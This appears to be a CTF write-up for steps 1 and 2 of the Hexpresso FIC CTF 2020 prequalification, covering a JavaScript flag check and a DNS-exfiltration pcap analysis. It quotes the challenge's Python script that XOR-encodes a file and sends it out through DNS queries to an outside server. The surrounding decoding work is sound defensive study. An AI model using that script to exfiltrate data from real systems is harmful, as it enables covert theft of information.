Hexpresso FIC CTF 2020 Prequalification Round - Write-ups of step 1-2

Information#

CTF#

  • Name : Hexpresso FIC CTF 2020 Prequalification Round
  • Website : ctf.hexpresso.fr
  • Type : Online
  • Format : Jeopardy

Step 1#

https://ctf.hexpresso.fr/2cd2362f7d4c063279c047618d4a2d38

Let's see the source CTRL+U, there is a script:

const play = () => {
  var game = new Array(
    116,
    228,
    203,
    270,
    334,
    382,
    354,
    417,
    485,
    548,
    586,
    673,
    658,
    761,
    801,
    797,
    788,
    850,
    879,
    894,
    959,
    1059,
    1071,
    1140,
    1207,
    1226,
    1258,
    1305,
    1376,
    1385,
    1431,
    1515
  );

  const u_u = "CTF.By.HexpressoCTF.By.Hexpresso";
  const flag = document.getElementById("flag").value;

  for (i = 0; i < u_u.length; i++) {
    if (u_u.charCodeAt(i) + flag.charCodeAt(i) + i * 42 != game[i]) {
      alert("NOPE");
      return;
    }
  }

  // Good j0b
  alert("WELL DONE!");

  document.location.replace(
    document.location.protocol +
      "//" +
      document.location.hostname +
      "/" +
      flag
  );
};

/**
  ** Thanks all <3
  ** @HexpressoCTF
  **
  ** The next step is here : https://ctf.hexpresso.fr/{p_p}
  **/

Solution by Shrewk to decode the previous encoding:

var u_u = "CTF.By.HexpressoCTF.By.Hexpresso";
var game = new Array(
          116,
          228,
          203,
          270,
          334,
          382,
          354,
          417,
          485,
          548,
          586,
          673,
          658,
          761,
          801,
          797,
          788,
          850,
          879,
          894,
          959,
          1059,
          1071,
          1140,
          1207,
          1226,
          1258,
          1305,
          1376,
          1385,
          1431,
          1515
        );
        var x 
        var str = ''
        for (i = 0; i < u_u.length; i++) {
            var y = i * 42
          x = game[i] - u_u.charCodeAt(i) - y
          var s = String.fromCharCode(x)
          str += s
          }
          console.log(str)

So the link for the next step is: https://ctf.hexpresso.fr/1f1bd383026a5db8145258efb869c48f.

Step 2#

https://ctf.hexpresso.fr/1f1bd383026a5db8145258efb869c48f

Old EXFIL but Gold#

Nous soupçonnons une exfiltration de données. Nous avons capturé des données réseaux, à vous d'extraire le lien pour la prochaine étape !

💻 here 💻

Open the pcap with Wireshark, it seems like a DNS exfiltration/tunneling. Let's look at my WU inception challenge during hxp CTF 2017. Let's read again the SANS whitepaper Detecting DNS Tunneling.

But here we don't need to find which tool was used for the DNS exfiltration because in frame n°4, which is a HTTP GET on /index.html we can see the following content:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /</title>
 </head>
 <body>
<h1>Index of /</h1>
  <table>
   <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=A">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=D">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
   <tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a>       </td><td>&nbsp;</td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="0days/">0days/</a>                </td><td align="right">2019-10-01 07:45  </td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="plan de domination du monde">plan de domination du monde/</a>           </td><td align="right">2018-12-14 12:40  </td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/prog.gif" alt="[PY]"></td><td><a href="dnstunnel.py">dnstunnel.py</a>                </td><td align="right">2019-06-14 11:52  </td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/prog.gif" alt="[C]"></td><td><a href="sshdRCE_preauth.c">sshdRCE_preauth.c</a>        </td><td align="right">2018-04-07 19:03  </td><td align="right">  - </td><td>&nbsp;</td></tr>
   <tr><th colspan="5"><hr></th></tr>
</table>
</body></html>

It's a directory listing and there are some files of interest:

  • 0days/ (folder)
  • plan de domination du monde (troll)
  • dnstunnel.py which must be the DNS tunneling tool used
  • sshdRCE_preauth.c let's see later if it is useful or not

Then there is another HTTP GET for retrieving dnstunnel.py:

#! /usr/bin/python3
# I have no idea of what I'm doing

#Because why not!
import random
import os

f = open('data.txt','rb')
data = f.read()
f.close()

print("[+] Sending %d bytes of data" % len(data))

#This is propa codaz
print("[+] Cut in pieces ... ")

def encrypt(l):
    #High quality cryptographer!
    key = random.randint(13,254)
    output = hex(key)[2:].zfill(2)
    for i in range(len(l)):
        aes = ord(l[i]) ^ key
        #my computer teacher hates me
        output += hex(aes)[2:].zfill(2)
    return output

def udp_secure_tunneling(my_secure_data):
    #Gee, I'm so bad at coding
    #if 0:
    mycmd = "host -t A %s.local.tux 172.16.42.222" % my_secure_data
    os.system(mycmd)
    #We loose packet sometimes?
    os.system("sleep 1")
    #end if

def send_data(s):
    #because I love globals
    global n
    n = n+1
    length = random.randint(4,11)
    # If we send more bytes we can recover if we loose some packets?
    redundancy = random.randint(2,16)
    chunk = data[s:s+length+redundancy].decode("utf-8")
    chunk = "%04d%s"%(s,chunk)
    print("%04d packet --> %s.local.tux" % (n,chunk))
    blob = encrypt(chunk)
    udp_secure_tunneling(blob)
    return s + length

cursor = 0
n=0
while cursor<len(data):
    cursor = send_data(cursor)

#Is it ok?

There is some redundancy, so we must remove it before decoding.

redundancy = random.randint(2,16)
chunk = data[s:s+length+redundancy].decode("utf-8")

Also the key is only 2 hexadecimal character long (because a decimal between 13 and 254 is chosen), and that will be the 2 first characters of each chunk.

key = random.randint(13,254)
output = hex(key)[2:].zfill(2)

Also once deciphered the 4 first chars of the message should be the sequence id of the message so we must be able to put them back in the right order.

chunk = "%04d%s"%(s,chunk)

Let's use tshark to extract the data:

  1. tshark -r capture.pcap -Y 'ip.dst == 172.16.42.222 && dns' -T fields -e 'dns.qry.name'
  2. ip.dst == 172.16.42.222 filter with the destination IP
  3. dns filter to keep only DNS traffic (we should have only A queries)
  4. -T fields -e 'dns.qry.name' Display only the DNS query name field
  5. | tr "\n" ',' replace newlines with a space to get a computable list
$ tshark -r capture.pcap -Y 'ip.dst == 172.16.42.222 && dns' -T fields -e 'dns.qry.name' | tr "\n" ' '
a191919191e2cecfc6d3c0d5d4cdc0d5c8cecfd2808081f8.local.tux a696969797cfc9c8d5878786ffc9d386c2cfc286cfd286d5c986c0.local.tux 88b8b8bab8fda8ece1eca8e1fca8fbe7a8eee9faa98282c0edfaeda8e1fba8.local.tux 1929292a2976397f786b381313517c6b7c39706a396d.local.tux cafafaf9f3afb8afeaa3b9eabea2afeaa6a3a4a1ea.local.tux edddddd9d4cd81848386cd8483cd8f8c9e.local.tux 6b5b5b5e520a180e58594b0d0419.local.tux 4f7f7f797b6f29203d227545010d7d07067b0b1b070617.local.tux ae9e9e999fe0ec9ce6e79aeafae6e7f6fd98f79dfbe3f7f6e9ff.local.tux 9cacacababd8c8d4d5c4cfaac5afc9d1c5c4dbcdc6d0c5.local.tux 6c5c5c545d343f5a355f392135342b3d362035.local.tux 6f5f5f575a5c3a223637283e352336.local.tux e4d4d4ddd6bea8bdaba6bea3.local.tux d7e7e7eee08d909ce3e48399e38f909ae3.local.tux 73434243403d472b343e47212334264027203c37373e3641373c.local.tux daeaebebe88fe98e89959e9e979fe89e95809e989794898e9183.local.tux 4272737070060d1806000f0c1116091b18140f177105.local.tux 36060704017b7865627d6f6c607b6305717f7b6c60717f02623c7b797c.local.tux 9cacadafabafdbd5d1c6cadbd5a8c896d1d3d6cdd1.local.tux 54646560650e02131d60005e191b1e051919601019190e0013606605016969.local.tux 25151410176868116168687f716211177470181818.local.tux f7c7c6c2cea3b0c3c5a6a2cacacafdfdd7a8d7d7d7d7.local.tux 7b4b4a4d482a2e46464671715b245b5b5b5b5b5b.local.tux 95a5a4a3ad9f9fb5cab5b5b5b5b5b5b5b5b5b5b5b5b5.local.tux d8e8e9efe1f8f8f8f8f8f8f8f8.local.tux d6e6e7eee5f6f6f6f6f6f6f6f6f6f6f6f6f6f6f6f6f6.local.tux 0f3f3e37362f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f.local.tux eededfd7d8cecececececececececece.local.tux 56666466637676767676767676767676765c2a.local.tux 7d4d4f4c4e5d5d5d5d77015d0122225d5d5d22.local.tux 94a4a6a6a0b4b4cbcbcbcbcbb4b4cbcbcbb4cb.local.tux 7c4c4e4e442323235c5c2323235c23235c.local.tux b585878680ea95eaea9595ea95eaea.local.tux facac8cec9a5a5daa5a5a5dadaa5a5a5daa5a5a5dadaa5.local.tux 10202225234f304f4f4f30304f4f4f.local.tux daeae8eceb8585fafad0a6.local.tux 75454743407f0955522a5529555a552a55295529.local.tux 6656545155494639463a463a494649464139463a1a464139.local.tux 4e7e7c767d6e69116e12326e691111616e.local.tux 5f6f6d6767237f780000707f007f03707f0000707f0000.local.tux eddddfd4d5c2cdb2b2c2cdb2b291c2.local.tux e7d7d4d7d4c7b8b89bc8c7b8c7bbc7ed9bc79bc79bc79bc7c7b8b8c8.local.tux 88b8bbb9b8a8d4a882f4a8f4a8f4a8f4a8a8d7d7a7b6a8a8b4f4a8f4.local.tux 83b3b0b1b3ffa3a3dcdcacbda3a3bfffa3ff.local.tux 48787b7a70687434683417616834683468346868.local.tux cdfdfefefe92e4edb1edb1edb1eded9292e2919292ed9192.local.tux eededddadcceb1b1c1b2b1b1ceb2b1b1ceb2cec6b1c7ce92e492b192ce.local.tux b38380868093ef939bec9a93cfb9cfeccf93cfeccfef.local.tux c2f2f1f4f0be9dbee2be9dbe9e9d9d9ded9ded9e9d9ee2ec9d.local.tux 28181b1f197777077707747774080677770754775408087477777754547777.local.tux 80b0b3b8b2dfaffcdffca0a0dcdfdfdffcfcdfdfdfaf.local.tux 3b0b0803026764646447476464641464.local.tux 93a3a0aaa4ccbcccccccbccfccccccbcb399b3b3b3b3b3b3.local.tux 41717571701e6e1d1e1e1e6e614b6161616161616161616161.local.tux 28181c18112208080808080808.local.tux ddede9eceefdfdfdfdfdfdfdfdfdfdfdfdfda1.local.tux d3e3e7e1e7f3f3af8caff3f3f3f3f3f3f3f3f3f3.local.tux 97a7a3a4a6b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7.local.tux f2c2c6c1c7d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2.local.tux 340400000714141414141414141414141414143e3e3e.local.tux 9fafababa8bfbfbfbfbfbfbfbfbfbf959595.local.tux 6555515056454545456f6f6f.local.tux 84b4b0b1bd8e.local.tux

Let's decode that with a ruby script:

#!/usr/bin/env ruby

# use the %w shortcut to create an array of strings without quotes or commas
hostnames = %w[a191919191e2cecfc6d3c0d5d4cdc0d5c8cecfd2808081f8.local.tux a696969797cfc9c8d5878786ffc9d386c2cfc286cfd286d5c986c0.local.tux 88b8b8bab8fda8ece1eca8e1fca8fbe7a8eee9faa98282c0edfaeda8e1fba8.local.tux 1929292a2976397f786b381313517c6b7c39706a396d.local.tux cafafaf9f3afb8afeaa3b9eabea2afeaa6a3a4a1ea.local.tux edddddd9d4cd81848386cd8483cd8f8c9e.local.tux 6b5b5b5e520a180e58594b0d0419.local.tux 4f7f7f797b6f29203d227545010d7d07067b0b1b070617.local.tux ae9e9e999fe0ec9ce6e79aeafae6e7f6fd98f79dfbe3f7f6e9ff.local.tux 9cacacababd8c8d4d5c4cfaac5afc9d1c5c4dbcdc6d0c5.local.tux 6c5c5c545d343f5a355f392135342b3d362035.local.tux 6f5f5f575a5c3a223637283e352336.local.tux e4d4d4ddd6bea8bdaba6bea3.local.tux d7e7e7eee08d909ce3e48399e38f909ae3.local.tux 73434243403d472b343e47212334264027203c37373e3641373c.local.tux daeaebebe88fe98e89959e9e979fe89e95809e989794898e9183.local.tux 4272737070060d1806000f0c1116091b18140f177105.local.tux 36060704017b7865627d6f6c607b6305717f7b6c60717f02623c7b797c.local.tux 9cacadafabafdbd5d1c6cadbd5a8c896d1d3d6cdd1.local.tux 54646560650e02131d60005e191b1e051919601019190e0013606605016969.local.tux 25151410176868116168687f716211177470181818.local.tux f7c7c6c2cea3b0c3c5a6a2cacacafdfdd7a8d7d7d7d7.local.tux 7b4b4a4d482a2e46464671715b245b5b5b5b5b5b.local.tux 95a5a4a3ad9f9fb5cab5b5b5b5b5b5b5b5b5b5b5b5b5.local.tux d8e8e9efe1f8f8f8f8f8f8f8f8.local.tux d6e6e7eee5f6f6f6f6f6f6f6f6f6f6f6f6f6f6f6f6f6.local.tux 0f3f3e37362f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f.local.tux eededfd7d8cecececececececececece.local.tux 56666466637676767676767676767676765c2a.local.tux 7d4d4f4c4e5d5d5d5d77015d0122225d5d5d22.local.tux 94a4a6a6a0b4b4cbcbcbcbcbb4b4cbcbcbb4cb.local.tux 7c4c4e4e442323235c5c2323235c23235c.local.tux b585878680ea95eaea9595ea95eaea.local.tux facac8cec9a5a5daa5a5a5dadaa5a5a5daa5a5a5dadaa5.local.tux 10202225234f304f4f4f30304f4f4f.local.tux daeae8eceb8585fafad0a6.local.tux 75454743407f0955522a5529555a552a55295529.local.tux 6656545155494639463a463a494649464139463a1a464139.local.tux 4e7e7c767d6e69116e12326e691111616e.local.tux 5f6f6d6767237f780000707f007f03707f0000707f0000.local.tux eddddfd4d5c2cdb2b2c2cdb2b291c2.local.tux e7d7d4d7d4c7b8b89bc8c7b8c7bbc7ed9bc79bc79bc79bc7c7b8b8c8.local.tux 88b8bbb9b8a8d4a882f4a8f4a8f4a8f4a8a8d7d7a7b6a8a8b4f4a8f4.local.tux 83b3b0b1b3ffa3a3dcdcacbda3a3bfffa3ff.local.tux 48787b7a70687434683417616834683468346868.local.tux cdfdfefefe92e4edb1edb1edb1eded9292e2919292ed9192.local.tux eededddadcceb1b1c1b2b1b1ceb2b1b1ceb2cec6b1c7ce92e492b192ce.local.tux b38380868093ef939bec9a93cfb9cfeccf93cfeccfef.local.tux c2f2f1f4f0be9dbee2be9dbe9e9d9d9ded9ded9e9d9ee2ec9d.local.tux 28181b1f197777077707747774080677770754775408087477777754547777.local.tux 80b0b3b8b2dfaffcdffca0a0dcdfdfdffcfcdfdfdfaf.local.tux 3b0b0803026764646447476464641464.local.tux 93a3a0aaa4ccbcccccccbccfccccccbcb399b3b3b3b3b3b3.local.tux 41717571701e6e1d1e1e1e6e614b6161616161616161616161.local.tux 28181c18112208080808080808.local.tux ddede9eceefdfdfdfdfdfdfdfdfdfdfdfdfda1.local.tux d3e3e7e1e7f3f3af8caff3f3f3f3f3f3f3f3f3f3.local.tux 97a7a3a4a6b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7.local.tux f2c2c6c1c7d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2.local.tux 340400000714141414141414141414141414143e3e3e.local.tux 9fafababa8bfbfbfbfbfbfbfbfbfbf959595.local.tux 6555515056454545456f6f6f.local.tux 84b4b0b1bd8e.local.tux]

# build a hash to store messages and sequences
index = {}

hostnames.each do |host|
  # Extract data, what is before .local.tux
  data = host.split('.')[0]
  # The two first char are the key in hex
  key = data[0...2]
  # The rest is the data encoded in hex
  message = data[2...]

  output = ''
  # Split the data every 2 char
  message.scan(/.{2}/).each do |hex|
    # XOR back to decipher
    decrypted = hex.to_i(16) ^ key.to_i(16)
    # decimal to ASCII char
    output += decrypted.chr
  end
  # Let's sequence the message: index {sequence ID => message}
  index.store(output[0...4].to_i, output[4...])
end

# Display only messages
#index.values.each do |m|
#  puts m
#end
# display messages and sequences
pp index

We can see a message like the following, the problem now is the redundancy.

{0=>"Congratulations!! Y",
 11=>"ions!! You did it so f",
 20=>"u did it so far!\n" + "\n" + "Here is ",
 30=>"o far!\n" + "\n" + "Here is t",
 39=>"ere is the link ",
 49=>" link in bas",
 59=>"ase32 for",
 64=>" form:\n" + "NB2HI4DTHIX",
 71=>"NB2HI4DTHIXS6Y3UMYXGQ",
 77=>"DTHIXS6Y3UMYXGQZLY",
 81=>"XS6Y3UMYXGQZLY",
 85=>"3UMYXGQZLY",
 92=>"ZLYOBZG",
 97=>"ZGK43TN4XGM4",
 103=>"N4XGM4RPGU3TSODDME2DO",
 112=>"U3TSODDME2DOZDBMNSTKY",
 122=>"DOZDBMNSTKYZVMU3G",
 127=>"MNSTKYZVMU3GIMZVGI4T\n" + "MOJ",
 137=>"3GIMZVGI4T\n" + "MOJQM",
 141=>"ZVGI4T\n" + "MOJQMM4DMMZTG42QU==",
 152=>"MM4DMMZTG42QU===",
 159=>"TG42QU===\n" + "\n" + " _    ",
 163=>"QU===\n" + "\n" + " _      ",
 168=>"\n" + "\n" + " _             ",
 179=>"        ",
 183=>"                 ",
 189=>"                   ",
 196=>"           ",
 205=>"            \n" + "|",
 213=>"    \n" + "| |__   _",
 224=>"  _____  ___ _",
 228=>"___  ___ __ ",
 235=>"_ __  _ __",
 243=>"__ ___  ___ ___  _",
 253=>"_ ___  ___",
 261=>"__  \n" + "|",
 265=>"\n" + "| '_ \\ / _ \\ \\",
 273=>"/ _ \\ \\/ / '_ \\| '_",
 283=>" '_ \\| '__/ ",
 288=>"| '__/ _ \\/ __/ __",
 298=>"/ __/ __|/",
 303=>" __|/ _ \\ \n" + "| | | |  __/",
 310=>" \\ \n" + "| | | |  __/>  <| |",
 320=>"|  __/>  <| |",
 328=>" <| |_) | | |  ",
 333=>"_) | | |  __/\\__ \\_",
 342=>" __/\\__ \\__ \\ (_) |\n" + "|_| ",
 353=>" \\ (_) |\n" + "|_| |_|\\",
 362=>"|_| |_|\\___/_/\\_\\ ._",
 371=>"__/_/\\_\\ .__/|_|  \\___||__",
 382=>"_/|_|  \\___||___/",
 389=>"\\___||___/_",
 397=>"_/___/\\___/ \n" + "      ",
 401=>"_/\\___/ \n" + "           ",
 409=>"\n" + "       ",
 413=>"             |",
 424=>"  |_|          ",
 431=>"                    ",
 435=>"                    ",
 443=>"              \n" + "\n" + "\n",
 447=>"          \n" + "\n" + "\n",
 453=>"    \n" + "\n" + "\n",
 459=>"\n"}

To see the range of redundancy we have let's replace the previous display with:

# See redundancy ranges
index.each do |k,v|
  puts "#{k}-#{k + v.size}"
end

We have the following:

0-19
11-33
20-46
30-47
39-55
49-61
59-68
64-82
71-92
77-95
81-95
85-95
92-99
97-109
103-124
112-133
122-139
127-151
137-153
141-167
152-168
159-176
163-178
168-185
179-187
183-200
189-208
196-207
205-219
213-227
224-238
228-240
235-245
243-261
253-263
261-267
265-280
273-292
283-295
288-306
298-308
303-326
310-333
320-333
328-343
333-352
342-366
353-370
362-382
371-397
382-399
389-400
397-416
401-421
409-417
413-427
424-439
431-451
435-455
443-460
447-460
453-460
459-460

The easiest way is to store each char in an array or a hash and then remove duplicates.

Let's change our display with

all_chars = {}
index.each do |k,v|
  # store each char and sequence id in an array
  v.each_char.with_index(0) do |c,i|
    all_chars.store(k+i, c)
  end
end
# ruby hash will automatically overides the value when the same key is used
# so we won't have duplicate
# Then just convert the hash to an array to a string
puts all_chars.values.to_a.join

Now we have this output:

Congratulations!! You did it so far!

Here is the link in base32 form:
NB2HI4DTHIXS6Y3UMYXGQZLYOBZGK43TN4XGM4RPGU3TSODDME2DOZDBMNSTKYZVMU3GIMZVGI4T
MOJQMM4DMMZTG42QU===

 _                                             
| |__   _____  ___ __  _ __ ___  ___ ___  ___  
| '_ \ / _ \ \/ / '_ \| '__/ _ \/ __/ __|/ _ \ 
| | | |  __/>  <| |_) | | |  __/\__ \__ \ (_) |
|_| |_|\___/_/\_\ .__/|_|  \___||___/___/\___/ 
                |_|

So the link to step 3 is:

$ printf %s 'NB2HI4DTHIXS6Y3UMYXGQZLYOBZGK43TN4XGM4RPGU3TSODDME2DOZDBMNSTKYZVMU3GIMZVGI4TMOJQMM4DMMZTG42QU===' | base32 -d
https://ctf.hexpresso.fr/5798ca47dace5c5e6d3529690c863375
Share